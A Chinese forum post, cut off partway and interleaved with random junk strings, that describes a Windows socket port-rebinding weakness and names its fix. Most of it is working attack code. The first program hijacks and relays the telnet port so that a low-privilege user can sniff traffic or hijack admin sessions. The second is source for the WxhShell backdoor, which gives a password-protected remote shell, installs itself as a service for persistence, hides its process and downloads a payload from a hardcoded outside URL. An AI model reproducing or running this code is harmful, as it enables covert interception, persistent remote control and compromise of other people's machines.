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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4K<T_B/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uJ_"gPO  
<CM}g4Y  
  saddr.sin_family = AF_INET; 1Zi(5S)  
W:XN!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $/XR/  
nq3B(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 99mo]1_  
@uzzyp r>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lk. ;  
}rbsarG@  
  这意味着什么?意味着可以进行如下的攻击: [R9!Tz  
BdYl sYp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $"`9QD~  
Mz:t[rfs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r\f|r$i  
WC ZDS>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uL[%R2  
NX5NE2@^qH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B'` jdyaE9  
iT}L9\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `<x|< ey  
ab-MEN`5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sXmo.{Ayb  
|= U(8t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /@~&zx&_  
u9~RD  
  #include q1O}dSPwX  
  #include 'RjMwJy{  
  #include i<]Y0_?s  
  #include    #&jr9RB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9'S~zG%{  
  int main() 4t;m^Iv  
  { %G>|u/:U  
  WORD wVersionRequested; k3FpD=N  
  DWORD ret; 0-{l4;o  
  WSADATA wsaData; G*$a81dAX  
  BOOL val; ^FZ7)T  
  SOCKADDR_IN saddr; t1h2ibO  
  SOCKADDR_IN scaddr; TPeBb8v 8D  
  int err; ( O>oN~  
  SOCKET s; OJH:k~]0!  
  SOCKET sc; eODprFkt}  
  int caddsize; ^68BxYUoD\  
  HANDLE mt; fX 41o#  
  DWORD tid;   xFcRp2W9R  
  wVersionRequested = MAKEWORD( 2, 2 ); :.,3Zw{l  
  err = WSAStartup( wVersionRequested, &wsaData ); 3ZKaqwK  
  if ( err != 0 ) { T1}9^3T?{  
  printf("error!WSAStartup failed!\n"); `'^&* 7,  
  return -1; [ queXDn"m  
  } wcI4Y0+J  
  saddr.sin_family = AF_INET; T2$V5RyX  
   .Iret :  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )xMP  
8;r7ksE~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b2vc  
  saddr.sin_port = htons(23); >X(,(mKi  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .O+qtk!  
  { ]CIZF,  
  printf("error!socket failed!\n"); >&kb|)  
  return -1; Pv(icf l|  
  } :i24 @V~){  
  val = TRUE; Mi5"XQ>/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U2(|/M+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZdJer6:Z}  
  { c*"TmDY  
  printf("error!setsockopt failed!\n"); s3LR6Z7;i  
  return -1; E*t0ia8  
  } &_!g|-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bC mhlSNi  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aF'9&A;q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @$(/6]4p  
+yYv"J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sa71Vh{  
  { &2!F:L  
  ret=GetLastError(); =k(~PB^>  
  printf("error!bind failed!\n"); W2a9P_  
  return -1; u/h!i@_w[  
  } jKcnZu  
  listen(s,2); VK)K#!O8  
  while(1) [-bT_X  
  { vKX $Nf  
  caddsize = sizeof(scaddr); >iCkvQ  
  //接受连接请求 Qs*6wF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Bi +a)_K  
  if(sc!=INVALID_SOCKET) rl,6r u  
  { uW,L<;HnQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]o(&J7Z6-  
  if(mt==NULL) AwKxt'()^  
  { Czs4jHTa`  
  printf("Thread Creat Failed!\n"); 62Ab4!  
  break; F<UEipe/N  
  } 3ppY@_1  
  } |x AwiF_  
  CloseHandle(mt); 9%?'[jJ  
  } h69: Tj!  
  closesocket(s); f(O`t}Ed  
  WSACleanup(); @lau?@$ja  
  return 0; hOX$|0i  
  }   1MV\ ^l_  
  DWORD WINAPI ClientThread(LPVOID lpParam) _`JY A  
  { <h/\)bPB  
  SOCKET ss = (SOCKET)lpParam; m_TZY_;  
  SOCKET sc; jaAv_=93f  
  unsigned char buf[4096]; #@m*yJg<  
  SOCKADDR_IN saddr; d`| W6Do  
  long num; eqSCNYN  
  DWORD val;  +McKyEa  
  DWORD ret; 1 D fB9n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P7I,xcOm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `ecuquX'  
  saddr.sin_family = AF_INET; 'U)|m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #pxc6W /  
  saddr.sin_port = htons(23); @5%cP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bu'PDy~W,  
  { / 4K*iq  
  printf("error!socket failed!\n"); nFl=D=50-  
  return -1; AcN~Q/xU  
  } -ANp88a  
  val = 100; F*QD\sG:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j~G^J  
  { ?wps_XU  
  ret = GetLastError(); lHpo/ R :  
  return -1; [)`9euR%  
  } *HmL8c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C.{*|#&GAt  
  { NA`3   
  ret = GetLastError(); P'D~Y#^  
  return -1; Y"mD)\Bw?  
  } =L$};ko  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J ,fXXi)J  
  { UcMe("U  
  printf("error!socket connect failed!\n"); C"/]X  
  closesocket(sc); Osb"$8im  
  closesocket(ss); G{ rUqo  
  return -1; fV3!x,H  
  } AAsl )  
  while(1) H{x}gBQ  
  { unmuY^+<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n>\BPiz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `}F=Zjy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 twx8TQ9  
  num = recv(ss,buf,4096,0); J-fU,*Bk  
  if(num>0) c7IgndVAV  
  send(sc,buf,num,0); jow^~   
  else if(num==0) '?Q [.{<  
  break; &_&])V)<\S  
  num = recv(sc,buf,4096,0); `X]-blHo  
  if(num>0) Jug1Va<^c  
  send(ss,buf,num,0); ~Gc+naE>  
  else if(num==0) J1"u,HF*(  
  break; "2CiW6X[M  
  }  !+IxPn  
  closesocket(ss); U<eVLfSij  
  closesocket(sc); Y[;Pl$  
  return 0 ; +I2P{7  
  } pM\)f  
K+H?,I  
IgC)YIhd  
========================================================== 4(&00#Yxg2  
=[`wyQe`_  
下边附上一个代码,,WXhSHELL U;KHF{Vm  
(@M=W.M#  
========================================================== H(]lqvO  
#l-,2C~  
#include "stdafx.h" ']f]:X;6 w  
P]+^^ U  
#include <stdio.h> Tp<=dH%$%"  
#include <string.h> ~SJOynSz,  
#include <windows.h> ls,gQ]B:P  
#include <winsock2.h> ")HTUlcAe}  
#include <winsvc.h> quf,Z K5  
#include <urlmon.h> 2Z,;#t  
ekP=/;T#S  
#pragma comment (lib, "Ws2_32.lib") YjS|Ht->  
#pragma comment (lib, "urlmon.lib") 9XS+W w7  
/k1&?e  
#define MAX_USER   100 // 最大客户端连接数 F& H~JJ  
#define BUF_SOCK   200 // sock buffer h|%d=`P,  
#define KEY_BUFF   255 // 输入 buffer itD1r?O{pV  
2=!/)hw}  
#define REBOOT     0   // 重启 uGLVY%N  
#define SHUTDOWN   1   // 关机 HqOSQ<-Fo  
*ARro Ndr  
#define DEF_PORT   5000 // 监听端口 8dUwJ"<5  
nAd 4g|  
#define REG_LEN     16   // 注册表键长度 7G%`ziZ  
#define SVC_LEN     80   // NT服务名长度 UNYU2ze'  
RGLwtN  
// 从dll定义API Ft`#]=IS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *D;B%j^;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ec0Ee0%A]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \I,<G7!0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qkqn~>  
V* fDvr0  
// wxhshell配置信息 Dw[w%uz  
struct WSCFG { h+.^8fPR   
  int ws_port;         // 监听端口 /R k5n  
  char ws_passstr[REG_LEN]; // 口令 3Luv$6  
  int ws_autoins;       // 安装标记, 1=yes 0=no :":W(O  
  char ws_regname[REG_LEN]; // 注册表键名 ]$nJn+85@b  
  char ws_svcname[REG_LEN]; // 服务名 s&y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4_t aCK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %)l2dK&9"j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N ~M:+ \  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v_5DeaMF'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?b8NEVjw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 15U=2j*.b  
R,Tw0@{O*  
}; %DPtK)X1  
[rPW@|^5  
// default Wxhshell configuration TmX~vZ  
struct WSCFG wscfg={DEF_PORT, ZQl[h7c/N  
    "xuhuanlingzhe", a%(1#2^`q!  
    1, W .Hv2r3  
    "Wxhshell", l*'jqR')h^  
    "Wxhshell", aQFYSl  
            "WxhShell Service", MQ\:/]a  
    "Wrsky Windows CmdShell Service", 2E2J=Do  
    "Please Input Your Password: ", "!Mu5Ga  
  1, oi"Bf7{  
  "http://www.wrsky.com/wxhshell.exe", z0g]nYN%  
  "Wxhshell.exe" c q3C N@  
    }; Y60ld7H  
4G_dnf_  
// 消息定义模块 "-<u.$fE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `r>WVPS|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b;m6m4i'f{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [mWo&Ph[-  
char *msg_ws_ext="\n\rExit."; [(btpWxb^  
char *msg_ws_end="\n\rQuit."; kmov(V  
char *msg_ws_boot="\n\rReboot..."; G0]q(.sOy  
char *msg_ws_poff="\n\rShutdown..."; %Si3t2W/  
char *msg_ws_down="\n\rSave to "; zG& N5t96X  
%$]u6GKabi  
char *msg_ws_err="\n\rErr!"; h.2!d0j]  
char *msg_ws_ok="\n\rOK!"; \=yg@K?"AJ  
SfL,_X]*  
char ExeFile[MAX_PATH]; fEQ<L!'  
int nUser = 0; !0Q(x  
HANDLE handles[MAX_USER]; U}Xc@- \ ?  
int OsIsNt; C(,s_Ks  
um3 M4>K  
SERVICE_STATUS       serviceStatus; "_#%W oo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -Qn:6M>w^  
Nb]qY>K  
// 函数声明 N.-Ryj&9  
int Install(void); T5-4Q  
int Uninstall(void); qKO\;e*  
int DownloadFile(char *sURL, SOCKET wsh); wc__g8?'  
int Boot(int flag); C 7+TnJ  
void HideProc(void); k9R1E/;  
int GetOsVer(void); 'R=o,=  
int Wxhshell(SOCKET wsl); &I!2gf  
void TalkWithClient(void *cs); NoYu"57\  
int CmdShell(SOCKET sock); zo\Xu oZ  
int StartFromService(void); &# @1n  
int StartWxhshell(LPSTR lpCmdLine); ?;{A@icr  
B0 R[f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WUa-hm2:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j./bVmd.  
eyAg\uuih  
// 数据结构和表定义 u5R^++  
SERVICE_TABLE_ENTRY DispatchTable[] = j/Bzbjq"  
{ 2d3wQ)2  
{wscfg.ws_svcname, NTServiceMain}, SxH}/I|W  
{NULL, NULL} 9m6w.:S  
}; /pb7  
4 &|9304<H  
// 自我安装 "lmiGR*u  
int Install(void) 5utj$ha2  
{ gWWy!H  
  char svExeFile[MAX_PATH]; z6{0\#'K  
  HKEY key; Yhlk#>I  
  strcpy(svExeFile,ExeFile); Rf%ver  
<:&w/NjbI  
// 如果是win9x系统,修改注册表设为自启动 ~^5uOeTZ~  
if(!OsIsNt) { zcZr )Oh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  K8 ThZY%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ak}l6{ ..  
  RegCloseKey(key); `L;I/Hp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n$=n:$`q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BC4u,4S  
  RegCloseKey(key); a[#4Oq/t$  
  return 0; BO h  
    } Nxt/R%(  
  } #x%O0  
} {UPIdQ'g  
else { 5 !NPqka}.  
^NnZYr.  
// 如果是NT以上系统,安装为系统服务 5Cz:$-+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  =6A<>  
if (schSCManager!=0) T+.wJ W:jh  
{ Y":hb;&  
  SC_HANDLE schService = CreateService VUt 6[~?  
  ( )?TJ{'m  
  schSCManager, 7NXT.E~2  
  wscfg.ws_svcname, GzR;`,_O/  
  wscfg.ws_svcdisp, H"&N<"hw  
  SERVICE_ALL_ACCESS, [yVU p+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <B``/EX^  
  SERVICE_AUTO_START, h2BD?y  
  SERVICE_ERROR_NORMAL, =8J\;h  
  svExeFile, hQet?*diU  
  NULL, 6Q wL  
  NULL, qK#* UR0%  
  NULL, .#Sd|C]R7  
  NULL, j?8E >tM  
  NULL _@RW7iP>  
  ); c dGl[dQ/  
  if (schService!=0) ]k KsGch  
  { mV4} -  
  CloseServiceHandle(schService); W%$p,^@S5  
  CloseServiceHandle(schSCManager); QR8F'7S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d5],O48A  
  strcat(svExeFile,wscfg.ws_svcname); Fvv6<E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XSD7~X/:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xg%zE  
  RegCloseKey(key); [%h^qJ  
  return 0; }5S2v+zE  
    } jgO{DNe(=  
  } 67sb D<r  
  CloseServiceHandle(schSCManager); )1]C%)zn  
} Q,DumOq  
} t)v#y!Ci"  
{Rz`)qqE  
return 1; v~xG*e  
} Jq; }q63:  
/y-P) 3_  
// 自我卸载 X:!%"K%}  
int Uninstall(void) k1cBMDSokO  
{ #/1Bam6  
  HKEY key; gM= ~dBz  
fcBS s\\C~  
if(!OsIsNt) { '"KK|]vJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U{_O=S u  
  RegDeleteValue(key,wscfg.ws_regname); >H%8~ Oek  
  RegCloseKey(key); T-x`ut7c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qxrOfsh  
  RegDeleteValue(key,wscfg.ws_regname); lW2qVR  
  RegCloseKey(key); odhgIl&u  
  return 0; 3NJH"amk  
  } 5&xvY.!27V  
} MR~BWH?@1  
} q6DhypB  
else { EfUo<E  
Aqc(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6D+k[oHZm  
if (schSCManager!=0) # K-Q/*  
{ hQ\]vp7V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /2U.,vw  
  if (schService!=0) !eO?75/  
  { );*GOLka  
  if(DeleteService(schService)!=0) { D0-e,)G}V,  
  CloseServiceHandle(schService); <l6CtK@  
  CloseServiceHandle(schSCManager); .9E`x>C  
  return 0; t +#Ss v8  
  } C[s*Na-  
  CloseServiceHandle(schService); m7@`POI  
  } kOc'@;_O  
  CloseServiceHandle(schSCManager); :kUH>O  
} VEn%_9(]  
} q)vD "{0.  
tJn2:}-s  
return 1; +u Lu.-N  
} #z~oc^J^T  
:V"}"{ (6  
// 从指定url下载文件 j IW:O  
int DownloadFile(char *sURL, SOCKET wsh) du qu}*Jw  
{ qI"mW@G~H  
  HRESULT hr; &0l Nj@/  
char seps[]= "/"; kP6r=HH@  
char *token; l&yR-FJ7KY  
char *file; nOB ]?{X  
char myURL[MAX_PATH]; mB :lp=c`  
char myFILE[MAX_PATH]; (+U!# T]'D  
xpnnWHdaq  
strcpy(myURL,sURL); %NBD^g F  
  token=strtok(myURL,seps); ;L)}blN.  
  while(token!=NULL) [WK_Vh{  
  { W%wS+3Q/  
    file=token; w_ Ls.K5"  
  token=strtok(NULL,seps); 0$ (}\hMLt  
  } J'7Oxjlg  
m$ JQ[vgh  
GetCurrentDirectory(MAX_PATH,myFILE); &O[o;(}mFI  
strcat(myFILE, "\\"); W)"q9(T?%  
strcat(myFILE, file); C&SYmYj^c  
  send(wsh,myFILE,strlen(myFILE),0); HR}c9wy,q\  
send(wsh,"...",3,0); AsLAm#zq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0<)8 ?ow  
  if(hr==S_OK) +X&B'  
return 0; Ry(!< w,  
else qd.b&i  
return 1; PM|K*,3J  
(5I]umtge  
} );6zV_^!  
Fivv#4YO  
// 系统电源模块 U8c0C/  
int Boot(int flag) g5"g,SFGr  
{ t (1z+  
  HANDLE hToken; (PNvv/A  
  TOKEN_PRIVILEGES tkp; h%O`,iD2  
olJ9Kfc0  
  if(OsIsNt) { 99eS@}RC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s)L7o)56/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }Bb(wP^B.  
    tkp.PrivilegeCount = 1; g7H;d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #Q{6/{bM&J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w_-{$8|  
if(flag==REBOOT) { :{fsfZXXr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q4Z \y  
  return 0; J3'"-,Hv  
} !1l2KW<be  
else { dfrq8n]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !!QMcx_C#/  
  return 0; EmH{G  
} ucn aj|  
  } mkWIJH  
  else { !pN,,H6Y  
if(flag==REBOOT) { X3"V1@-i4$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mA4v  4z  
  return 0; 4j | vzyc  
} lDH0bBmd0  
else { PaZFM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a@7we=!  
  return 0; qmK!d<4  
} l5R H~F  
} cVz.ac  
Wb|IWn H$  
return 1; YgDgd\  
} 1"'//0 7  
$v^F>*I1  
// win9x进程隐藏模块 D( _a Xy  
void HideProc(void) Gzs x0%`)  
{ '`RCN k5l  
e88JT_zrO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /M#A[tZ3  
  if ( hKernel != NULL ) %0]&o, w{  
  { [$V_qFv{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I8[G!u71)_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6zDJdE'Es  
    FreeLibrary(hKernel); C*KRu`t  
  } _Y0o\0B  
>Z3}WMgBN  
return; fLy s$*^)^  
} $0wl=S  
,wq.C6;&  
// 获取操作系统版本 `@ `CZg  
int GetOsVer(void) % va/x]K  
{ +EpT)FJX  
  OSVERSIONINFO winfo; :+;F"_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |e9}G,1  
  GetVersionEx(&winfo); h?TE$&CL?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rdC(+2+Ay  
  return 1; Q!"Li  
  else nc31X  
  return 0; 'rg$%M*(  
} 9<Bf5d   
S`R ( _eD@  
// 客户端句柄模块 y/PEm)=Tt  
int Wxhshell(SOCKET wsl) n3)g{K^  
{ ~U^0z|.  
  SOCKET wsh; >g F  
  struct sockaddr_in client; $EtZ5?qS  
  DWORD myID; fkx 9I m4  
X-ml0 =M[  
  while(nUser<MAX_USER) <oR Nd3d  
{ iWvgCm4  
  int nSize=sizeof(client); H,uOshR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O@ "6)/  
  if(wsh==INVALID_SOCKET) return 1; l&C%oW  
O}D]G%,m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _h.[I8xgYG  
if(handles[nUser]==0) O aZ~  
  closesocket(wsh); hsl Js^  
else W9u (  
  nUser++; N7jAPI@a\i  
  } <:ZN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  e%qMrR  
doe[f_\  
  return 0; bg$e80  
} ;%%=G;b9  
`j<'*v zo  
// 关闭 socket E-Mp|y/V  
void CloseIt(SOCKET wsh) ikY=}  
{ K_My4>~Il  
closesocket(wsh); 7tyn?t0n  
nUser--; nVYh1@yLy  
ExitThread(0); G q:7d]c~T  
} )`U T#5  
pZWp2hj{X  
// 客户端请求句柄 .AV--oA~  
void TalkWithClient(void *cs) nGP>M#F  
{ XL"e<P;t  
}we"IqLb  
  SOCKET wsh=(SOCKET)cs; !867DX3*  
  char pwd[SVC_LEN]; 2x`# f0[  
  char cmd[KEY_BUFF]; m=n V$H   
char chr[1]; 1dKLNE  
int i,j; 7g=Ze~aq  
Ru sa &#[  
  while (nUser < MAX_USER) { ZLO _5#<  
BgE]xm  
if(wscfg.ws_passstr) { b?Vu9!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y@pa+~[{h3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ds-%\@p  
  //ZeroMemory(pwd,KEY_BUFF); k|BEAdQ%M  
      i=0; EKDv3aFQZ#  
  while(i<SVC_LEN) { 6b)1B\p  
myXp]=Sb?  
  // 设置超时 Maq{H`  
  fd_set FdRead; 4[5Z>2w  
  struct timeval TimeOut; !>! l=Z  
  FD_ZERO(&FdRead); .Oim7JQ8  
  FD_SET(wsh,&FdRead); sGzd c  
  TimeOut.tv_sec=8; K{ 0mb  
  TimeOut.tv_usec=0; ))+R*k%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i1scoxX3\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3"<{YEj8U  
O[8Lp?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LtNG<n)_BH  
  pwd=chr[0]; ;)o%2#I  
  if(chr[0]==0xd || chr[0]==0xa) { mT~:k}u~W  
  pwd=0; iedoL0#  
  break; :qnRiK]  
  } JM M\  
  i++; VNMhtwmK,  
    } n[{o~VN  
D@f%&|IZ  
  // 如果是非法用户,关闭 socket B]kz3FF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dz7*a {  
} ]5} =r  
.kBAUkL:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ()P?fed  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^^)Pv#[3  
9@ ^/ON\O  
while(1) { kKCkjA:o##  
&yYK%~}t[  
  ZeroMemory(cmd,KEY_BUFF); id*UTY Tg  
^&.F!  
      // 自动支持客户端 telnet标准   4}l,|7_&I  
  j=0; C~:aol i;  
  while(j<KEY_BUFF) { {)`5*sd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6g<JPc  
  cmd[j]=chr[0]; <Q%o}m4Kt  
  if(chr[0]==0xa || chr[0]==0xd) { lM?P8#3  
  cmd[j]=0; Vg2s~ce{  
  break; f)*}L?  
  } /TpM#hkq/2  
  j++; gBrIqM i5  
    } ZL-@2ZU{1  
;;UvK v  
  // 下载文件 lMlXK4-  
  if(strstr(cmd,"http://")) { w8>p[F5`O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cDLS)  
  if(DownloadFile(cmd,wsh)) JSO>rpO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dmf~w_(7  
  else :e gSW2"5S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); whvM^  
  } R` /n sou  
  else { 3"q%-M|+Q  
0WQ0-~wx  
    switch(cmd[0]) { cT."  
  -V<i4X<|,+  
  // 帮助 %*LdacjZ  
  case '?': { l&E-H@Pe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v6iV#yz3(  
    break; D<nTo&m_  
  } Mc{1Cdj  
  // 安装 ;g?5V  
  case 'i': { yzXwxi1#  
    if(Install()) l=kgRh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O@Xl_QNxc!  
    else !dmI}<@&k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '"=C^f  
    break; =TyN"0@  
    } *}yW8i}36  
  // 卸载 W"z!sf5U  
  case 'r': { #{<Jm?sU  
    if(Uninstall()) 2,dG Rf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [7L1y) I(  
    else ?EKYKLwr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ynDa4HB  
    break; '0w'||#1  
    } ptrLnJ|%  
  // 显示 wxhshell 所在路径 <udp:s3#T  
  case 'p': { AvhmN5O =  
    char svExeFile[MAX_PATH]; u},<On  
    strcpy(svExeFile,"\n\r"); OHe<U8iu%  
      strcat(svExeFile,ExeFile); 2D&tDX<  
        send(wsh,svExeFile,strlen(svExeFile),0); KWU#Swa`  
    break; {5_*tV<I  
    } 5P+3D{  
  // 重启 V .$<  
  case 'b': { >WG$!o+R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !*EHr09N7  
    if(Boot(REBOOT)) ?6~RGg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3"&6rdF\jB  
    else { q!}&<w~|  
    closesocket(wsh); 5Ss=z  
    ExitThread(0); .wYx_  
    } %z1WdiC  
    break; IOt!A  
    } jr'O4bo%  
  // 关机 ^d-`?zb  
  case 'd': { >|H=25N>;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dH?;!sJ  
